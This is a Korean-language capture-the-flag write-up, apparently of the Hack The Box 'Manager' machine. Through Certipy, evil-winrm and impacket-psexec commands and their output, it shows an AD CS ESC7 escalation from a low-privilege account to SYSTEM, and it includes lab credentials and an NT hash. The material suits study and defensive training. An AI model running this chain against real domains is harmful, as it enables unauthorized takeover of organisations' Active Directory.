WINRM       10.129.87.70    5985   DC01             [+] manager.htb\Raven:R4v3nBe5tD3veloP3r!123 (Pwn3d!)

Raven

획득한 계정이 WinRM 권한이 존재하는 것을 파악하고 evil-winrm을 통해 쉘에 접근하여 해당 계정의 권한을 확인하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(root㉿kali)-[~]
└─# evil-winrm -i '10.129.87.70' -u 'Raven' -p 'R4v3nBe5tD3veloP3r!123'

Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Raven\Documents> whoami
manager\raven
*Evil-WinRM* PS C:\Users\Raven\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

BloodHound

Raven의 계정의 권한에서 흥미로운 점을 찾을 수 없어 bloodhound를 통해 AD 분석을 시도한다. 이를 위해 AD 정보를 덤프하는데 bloodhound-python을 이용한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(root㉿kali)-[~/Desktop/Manager/bloodhound]
└─# bloodhound-python -d 'manager.htb' -u 'Reven' -p 'R4v3nBe5tD3veloP3r!123' -dc 'manager.htb' -c all -ns 10.129.87.70
INFO: Found AD domain: manager.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: manager.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: manager.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.manager.htb
INFO: Done in 00M 42S

bloodhound에 로드할 대상 AD의 AD CS(Active Directory Certificate Services) 정보를 덤프하기위해 certipy를 이용하는데 이때 --old-bloodhound 옵션을 지정하여 bloodhound에 입력할 수 있는 포맷으로 아웃풋을 생성한다.

certipy에서 –old-bloodhound 옵션을 지정해주는 이유와 BloodHound Custom Queries와 관련된 내용을 이전 포스팅인 HTB Escape - Certipy Tips에서 확인할 수 있다.

1
2
┌──(root㉿kali)-[~/Desktop/Manager/bloodhound]
└─# certipy find -u 'Raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip '10.129.125.51' -old-bloodhound

위에서 덤프한 AD 정보를 로드하여 가장먼저 Raven 계정의 Outbound Object Control을 확인하니 아래와 같이 MANAGER-DC01-CA인증서에 대한 ManageCA 권한이 존재했다.

operator 계정에는 특이한 권한이나 설정은 발견되지 않았다.

Desktop View

또 커스텀 쿼리인 Domain Escalation - ESC7을 통해 분석된 내용에서도 아래와 같이 Raven으로 ESC7 공격에 대한 가능성을 확인할 수 있다.

Desktop View

Privilege Escalation

Shortest Paths to Vulnerable Certificate Authority Access Control (ESC7)

확인된 Raven 계정의 인증서에대한 ManageCA에 대해 활용 방법을 Hacktricks - AD CS Domain Escalation (ESC7)Certipy 2.0: BloodHound, New Escalations, Shadow Credentials, Golden Certificates, and more!에서 확인할 수 있었고, 이에 대한 공격을 진행한다.

ManageCA 권한을 악용하는 ESC6 공격의 경우 EDITF_ATTRIBUTESUBJECTALTNAME2 플래그를 활성화하는 방식으로 공격이 진행되는데, 이는 CA Service가 재시작되지 않으면 아무런 효과를 기대할 수 없다. 그렇기에 ManageCA 권한을 악용하는 또다른 공격인 ESC7을 진행한다.

ESC7 케이스는 사용자가 CA에 대한 ManageCA 권한 또는 접근 권한이 존재하는 경우 가능하다. 접근 권한만 존재할 경우 이를 악용하는 기술은 공개된 케이스가 없지만, 보류중인 인증서 요청을 통해 발급하거나 거부할 수 있다고한다.

ESC7 공격에 대한 요구사항으로는 기본 인증서 템플릿인 SubCA 가 활성화되어있어야한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[~/Desktop/Manager]
└─# certipy ca -ca 'manager-DC01-CA' -u 'Raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip '10.129.125.51' -list-templates
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Enabled certificate templates on 'manager-DC01-CA':
    SubCA
    DirectoryEmailReplication
    DomainControllerAuthentication
    KerberosAuthentication
    EFSRecovery
    EFS
    DomainController
    WebServer
    Machine
    User
    Administrator

만약 위와 같이 SubCA 템플릿이 활성화되어있지 않을 경우 접근 권한이 존재할 경우 아래와 같은 명령을 통해 템플릿을 활성화 시킬 수 있는 방법도 존재한다.

1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/Manager]
└─# certipy ca -ca 'manager-DC01-CA' -u 'Raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip '10.129.125.51' -enable-template 'SubCA'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'

SubCA템플릿의 경우 기본적으로 활성화되어있어 ESC1(Enrollee Supplies Subject and Client Authentication)에 취약하다. 하지만 아래와 같이 Domain Admin , Enterprise Admins 그룹에만 권한이 부여되어있어 현재 케이스에서는 ESC1 공격이 불가능하다.

ESC1에 대한 공격은 이전 포스팅인 HTB Escape - AD CS - ESC1에서 확인할 수 있다.

Desktop View

ESC7 공격은 Manage CA 권한이 존재할 경우 실패한 인증서 요청에 대한 발급을 통해 악용이 가능하다.

이제 certipy를 통해 SubCA 인증서 템플릿을 기반으로 인증서를 요청하는데, Subject Alternative Name(SAN)을 Administrator로 지정하여 요청을 전송한다.

그전에 Manage CA 권한을 사용하려면 Certificate Manager 에 Raven 계정을 추가한다.

1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/Manager]
└─# certipy ca -ca 'manager-DC01-CA' -u 'Raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip '10.129.125.51' -add-officer 'Raven'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

이후 아래와 같이 인증서 요청 과정에서 에러가 발생하는데 개인 키를 저장할 것인지 묻는 메세지에 y 로 응답할 경우 인증서 발급에 사용할 요청 ID를 저장한다.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Desktop/Manager]
└─# certipy req -ca 'manager-DC01-CA' -u 'Raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip '10.129.125.51' -template 'SubCA' -upn 'Administrator@manager.htb'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 14
Would you like to save the private key? (y/N) y
[*] Saved private key to 14.key
[-] Failed to request certificate

Manage CA 권한이 존재할 경우 -issue-request옵션을 통해 실패한 인증서 요청을 발행할 수 있다.

1
2
3
4
5
┌──(root㉿kali)-[~/Desktop/Manager]
└─# certipy ca -ca 'manager-DC01-CA' -u 'Raven@manager.htb' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip '10.129.125.51' -target '10.129.125.51' -issue-request 14
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

이후 위에서 생성한 인증서를 통해 관리자 계정의 패스워드 해시를 얻을 수 있다. 하지만 DC와 시간 동기화 에러(KRB_AP_ERR_SKEW)로 인해 실패했다😨

1
2
3
4
5
6
7
┌──(root㉿kali)-[~/Desktop/Manager]
└─# certipy auth -pfx 'administrator.pfx'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

위 에러를 해결하기 위해 공격자 서버의 시간을 DC와 동기화하기위해 아래와 같은 명령으로 해결을 유도한다.

1
2
3
4
5
6
7
8
# 동작중인 Kali가 VirtualBox VM으로인해 진행
┌──(root㉿kali)-[~]
└─# service virtualbox-guest-utils stop


┌──(root㉿kali)-[~]
└─# rdate -n 10.129.74.255
Tue Oct 24 19:43:21 EDT 2023

다시한번 생성한 인증서를 통해 관리자 계정의 패스워드 해시를 요청한다.

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/Desktop/Manager]
└─# certipy auth -pfx 'administrator.pfx' -username 'Administrator' -domain 'manager.htb' -dc-ip '10.129.74.255' -ns '10.129.74.255'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

발급받은 해시를 통해 impacket-psexec를 이용하여 시스템 권한으로 권한 상승을 성공할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root㉿kali)-[~/Desktop/Manager]
└─# impacket-psexec manager.htb/Administrator@10.129.74.255 -hashes 'aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.129.74.255.....
[*] Found writable share ADMIN$
[*] Uploading file AYaZOhoU.exe
[*] Opening SVCManager on 10.129.74.255.....
[*] Creating service OOZt on 10.129.74.255.....
[*] Starting service OOZt.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.4974]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

This post is licensed under CC BY 4.0 by the author.